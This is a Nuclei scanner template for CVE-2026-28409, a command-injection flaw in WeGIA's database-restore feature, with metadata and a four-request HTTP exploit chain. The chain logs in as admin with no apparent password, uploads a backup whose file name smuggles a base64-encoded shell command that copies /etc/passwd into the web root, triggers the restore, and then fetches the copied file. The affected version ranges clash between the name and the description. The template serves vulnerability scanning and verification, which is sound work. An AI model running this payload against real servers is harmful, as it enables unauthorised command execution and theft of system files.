id: CVE-2026-28409

info:
  name: WeGIA <= 3.6.4 - Remote Code Execution
  author: 0x_Akoko
  severity: critical
  description: |
    WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
  impact: |
    Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
  remediation: |
    Upgrade to version 3.6.5 or later.
  reference:
    - https://cxsecurity.com/issue/WLB-2026030009
    - https://github.com/LabRedesCefetRJ/WeGIA
    - https://nvd.nist.gov/vuln/detail/CVE-2026-28409
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-28409
    epss-score: 0.03315
    epss-percentile: 0.87348
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 4
    vendor: labredescefetRJ
    product: wegia
    shodan-query: http.html:"WeGIA"
    fofa-query: body="WeGIA"
  tags: cve,cve2026,wegia,rce

variables:
  filename: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        POST /WeGIA/html/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        c=true&cpf=admin&id_pessoa=1

    extractors:
      - type: regex
        name: session
        part: header
        group: 1
        regex:
          - 'PHPSESSID=([a-zA-Z0-9]+)'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{session}}
        Content-Type: multipart/form-data; boundary=----test0boundary

        ------test0boundary
        Content-Disposition: form-data; name="usuario"

        1
        ------test0boundary
        Content-Disposition: form-data; name="id_pessoa"

        1
        ------test0boundary
        Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz"
        Content-Type: application/gzip

        {{hex_decode("1f8b08000000000000030300000000000000000000")}}
        ------test0boundary--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
        internal: true

  - raw:
      - |
        GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1
        Host: {{Hostname}}
        Cookie: PHPSESSID={{session}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        internal: true

  - raw:
      - |
        GET /WeGIA/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200fd70485188fb63202dbf88c4df38deb11fce995a95448a3f31469a9349518e4022100df26fe37f821e12c599ad45b25a5137b21eb67cf2e49939163bb6990b366638b:922c64590222798bb761d5b6d8e72950